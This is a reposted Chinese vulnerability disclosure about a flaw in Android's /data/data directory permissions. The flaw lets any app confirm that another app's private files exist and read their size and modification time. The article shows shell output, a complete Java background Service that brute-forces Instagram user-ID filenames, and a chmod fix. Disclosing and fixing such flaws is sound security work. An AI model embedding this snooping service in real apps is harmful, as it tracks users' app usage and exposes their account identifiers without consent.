都是权限惹的祸:安卓恶意APP如何将其他APP中的私有数据搞到手

简介:

前言

下面要介绍的恶意软件可以读取Android手机中其他app的文件元数据,例如文件的名称、大小、以及最后修改日期等等。如果文件名中含有敏感信息的标识,那么这款恶意app会将这份文件识别为敏感文件,并且还可以对其进行暴力破解攻击。除此之外,它还可以通过分析其他app私有文件的大小和最后修改日期这两部分数据,来对其他app的使用情况进行实时监控。

实际上,从Android操作系统的诞生之日起,其文件系统中就一直存在着权限问题。当我将该漏洞提交给Google公司之后,Google将这一漏洞归类为了“低危漏洞”,并且给我提供了五百美元的漏洞奖金。

我写这篇文章的目的只是为了抛砖引玉,希望能给大家提供一个关于处理Android安全问题的思路。

问题分析

Android App的私有数据默认会保存在“/data/data/”目录下,其他的App没有权限访问存储在该目录下的数据。接下来,我们用Youtube App来举个例子。

Android端的Youtube应用程序会将其私有数据保存在目录“/data/data/com.google.android.youtube/”之下。现在,让我们从根目录开始分析一下整个文件系统中各个文件的权限:

/data/drwxrwx--x system system 2015-11-30 20:30data

/data/data/drwxrwx--x system system 2015-11-29 15:34data

/data/data/com.google.android.youtube

drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

/data/data/com.google.android.youtube/*

drwxrwx--x u0_a77 u0_a77 2015-11-08 18:15app_sslcache

drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54cache

drwxrwx--x u0_a77 u0_a77 2015-11-29 13:06 databases

drwxrwx--x u0_a77 u0_a77 2015-11-12 12:10files

lrwxrwxrwx install install 2015-11-29 11:02lib -> /data/app-lib/com.google.android.youtube-1

drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54shared_prefs

我们可以从上面这部分信息中看到,在整个目录结构中,每一个文件目录都给设备用户提供了完整的执行权限(+x)。

而我们也知道,所谓的执行权限,就是允许设备用户可以直接运行目标文件的权限。如果将该权限赋予了某一文件目录的话,也就意味着用户只要知道文件夹下具体的文件名,可以直接通过文件名来访问该目录下的文件内容和元数据。但此时还无法直接进入文件夹,以及访问该目录下的文件数据,因为这样的操作将需要相应的读取权限。

分析结果表明:其他的用户可以使用“cd”命令来进入这些目录,但是无法通过“ls”命令来获取该目录下的所有文件(没有读取权限)。当然了,用户也无法直接在该目录下创建新的文件,因为这将需要文件目录的写入权限(+w):

u0_a84@mako:/data/data $ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data $ cd com.google.android.youtube

u0_a84@mako:/data/data/com.google.android.youtube $ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data/com.google.android.youtube $ cdwrongdir

/system/bin/sh: [22]: cd:/data/data/com.google.android.youtube/wrongdir: No such file or directory

u0_a84@mako:/data/data/com.google.android.youtube $ cdshared_prefs

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ echo “test” >test.xml

/system/bin/sh: [31]: can't create test.xml:Permission denied

但是,如上所述,如果我们能够提前获取到目标文件的名称,那么我们就可以列出该文件,并获取目标文件的元数据了。接下来,我们还是继续分析Youtube App。在默认情况下,该App会在“/data/data/com.google.android.youtube/” 目录下的“shared_prefs”文件夹中生成一个名为“youtube.xml”的文件。虽然很多其他的App可以列出这个文件,但是由于权限的问题,所以这些App是无法读取这份文件的:

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la youtube.xml

-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ cat youtube.xml

/system/bin/sh: [28]: cat: youtube.xml:Permission denied

正如上面这段信息所示,任何恶意App都可以做到下面这两件事情:

  1. 通过“ls”命令来查看其他App的某些私有文件是否存在于文件系统中,但前提是要知道目标文件的文件名称;
  2. 获取到这些私有文件的大小和最后修改日期;

这绝对是一个安全漏洞,因为我们可以通过以下两种不同的方式来利用这个漏洞:

  1. 恶意App可以可以通过监视特定的私有文件来实时监控某些App的使用情况。比如说,如果恶意App想要知道Android设备的用户一般在何时打开Youtube客户端,那么它就可以定期检查Youtube客户端“shared_prefs”目录下的“youtube.xml”文件,并从获取到的文件大小和最后修改日期来判断用户的使用习惯。因为当用户打开Youtube客户端时,这个文件将会被修改。因此,恶意App还可以通过这个漏洞来分析某些应用程序的使用情况。
  2. 如果某个合法的App选择将敏感数据保存在一个文件中,而文件名称一看就知道是用来存储敏感数据的话,那么恶意App就可以选择对该文件进行暴力破解攻击。比如说,Instagram和Facebook会使用用户ID(USERID)来标识某些敏感文件。不光是这两个App,很多其他的App也会采用这样的方式来处理敏感文件,这种情况我已经见过很多次了。

Instagram:/data/data/com.instagram.android/shared_prefs/.xml

Facebook:/data/data/com.facebook.katana/shared_prefs/XStorage-LATEST-.xml

比如说Instagram,用户ID标识符(USERID)的范围在0-2500000000之间,所以恶意App可以通过暴力破解的手段直接在本地发动攻击。恶意App可以利用下面这段Android代码来在后台对用户标识符进行暴力破解攻击:

import java.io.File;

import java.math.BigInteger;

import android.app.Service;

import android.content.Intent;

import android.os.IBinder;

import android.util.Log;

public class MyService extends Service {

@Override

public intonStartCommand(Intent intent, int flags, int startId) {

newThread(new Runnable() {

publicvoid run() {

Log.v("brute", "Bruteforce started");

BigInteger begin = BigInteger.ZERO;

BigInteger end = new BigInteger("2500000000");

String dirPath ="/data/data/com.instagram.android/shared_prefs/";

while(begin.compareTo(end) != 1) {

String filename= begin.toString() + ".xml";

File test = newFile(dirPath,filename);

if(test.exists()) {

Log.v("brute", "Account found: " +begin.toString());

}

begin =begin.add(BigInteger.ONE);

}

Log.v("brute", "Bruteforce ended");

}

}).start();

returnService.START_STICKY;

}

@Override

public IBinderonBind(Intent intent) {

//TODO Auto-generated method stub

returnnull;

}

}

当上面这段代码所加载的服务被开启之后,恶意App将会被关闭,在后台进行暴力破解攻击的任务就转交给了这个服务来进行。我们在Nexus4手机上进行了攻击模拟,我们遍历了2500000000个可能的文件,总共花费了五天左右的时间,最终成功找到了正确的文件:

当用户感染了这一恶意软件之后,攻击者就可以通过这样的方式来获取到用户的网络服务ID,进而查找出用户的账号。受影响的可能是Facebook、QQ、Youtube、以及微信这样的社交媒体类App,也有可能是金融类的银行App。值得注意的是,Instagram还包含有一个ContentProvider(com.instagram.contentprovider.CurrentUserProvider),可以用来查询用户注册账号的USERID,但是默认情况下Instagram是禁止其他App使用这个ContentProvider的。

但是很明显,Instagram这样做的目的肯定不是为了将用户的敏感数据泄露给其他的App。

这个漏洞是我当初在检测InstagramApp的时候发现的,如果大家对Instagram客户端中存在的其他安全问题感兴趣的话,欢迎各位同学阅读这篇文章[传送门]。

解决方案

这个问题其实也很好解决,我们只需要移除“/data/data/”目录下App文件夹的执行权限(+x),就可以解决这个问题了,这样也可以有效地防止攻击者通过“cd”命令和“ls”命令来获取文件目录下的文件基本信息。

修复前的状态:

u0_a84@mako:/data/data $ cd com.google.android.youtube

u0_a84@mako:/data/data/com.google.android.youtube $ cd ..

u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml

-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml

修复过程:

root@mako:/data/data # ls -la | grep youtube

drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

root@mako:/data/data # chmod 750com.google.android.youtube

root@mako:/data/data # ls -la | grep youtube

drwxr-x--- u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

修复后的状态:

u0_a84@mako:/data/data $ cd com.google.android.youtube

/system/bin/sh: [25]: cd:/data/data/com.google.android.youtube: Permission denied

u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml

com.google.android.youtube/shared_prefs/youtube.xml:Permission denied

本文转自d1net(转载)

相关文章
|
20天前
|
Java Android开发
Android 开发获取通知栏权限时会出现两个应用图标
Android 开发获取通知栏权限时会出现两个应用图标
12 0
|
2月前
|
存储 移动开发 JavaScript
uni-app页面数据传参方式
uni-app页面数据传参方式
49 4
|
3天前
|
Android开发 开发者
Android网络和数据交互: 请解释Android中的AsyncTask的作用。
Android's AsyncTask simplifies asynchronous tasks for brief background work, bridging UI and worker threads. It involves execute() for starting tasks, doInBackground() for background execution, publishProgress() for progress updates, and onPostExecute() for returning results to the main thread.
3 0
|
3天前
|
网络协议 安全 API
Android网络和数据交互: 什么是HTTP和HTTPS?在Android中如何进行网络请求?
HTTP和HTTPS是网络数据传输协议,HTTP基于TCP/IP,简单快速,HTTPS则是加密的HTTP,确保数据安全。在Android中,过去常用HttpURLConnection和HttpClient,但HttpClient自Android 6.0起被移除。现在推荐使用支持TLS、流式上传下载、超时配置等特性的HttpsURLConnection进行网络请求。
5 0
|
5天前
|
安全 Android开发 数据安全/隐私保护
Android中的动态权限请求与最佳实践
【4月更文挑战第14天】 在现代安卓应用开发中,用户隐私和安全被赋予了前所未有的重要性。随着Android 6.0(API级别23)引入的运行时权限模型,开发者必须更加细致地处理权限请求,以确保应用功能的完整性同时不侵犯用户的隐私。本文将深入探讨如何在Android应用中实现动态权限请求,分析常见问题,并提供一系列最佳实践,以帮助开发者优雅地处理这一挑战。
16 5
|
17天前
|
XML Java Android开发
Android每点击一次按钮就添加一条数据
Android每点击一次按钮就添加一条数据
21 1
|
1月前
uni-app 62websocket连接权限验证和强制下线
uni-app 62websocket连接权限验证和强制下线
18 3
|
1月前
uni-app 12.1设置朋友圈动态权限
uni-app 12.1设置朋友圈动态权限
15 0
uni-app 12.1设置朋友圈动态权限
|
1月前
|
设计模式 测试技术 数据库
基于Android的食堂点餐APP的设计与实现(论文+源码)_kaic
基于Android的食堂点餐APP的设计与实现(论文+源码)_kaic
|
1月前
|
存储 Android开发 C++
【Android 从入门到出门】第五章:使用DataStore存储数据和测试
【Android 从入门到出门】第五章:使用DataStore存储数据和测试
30 3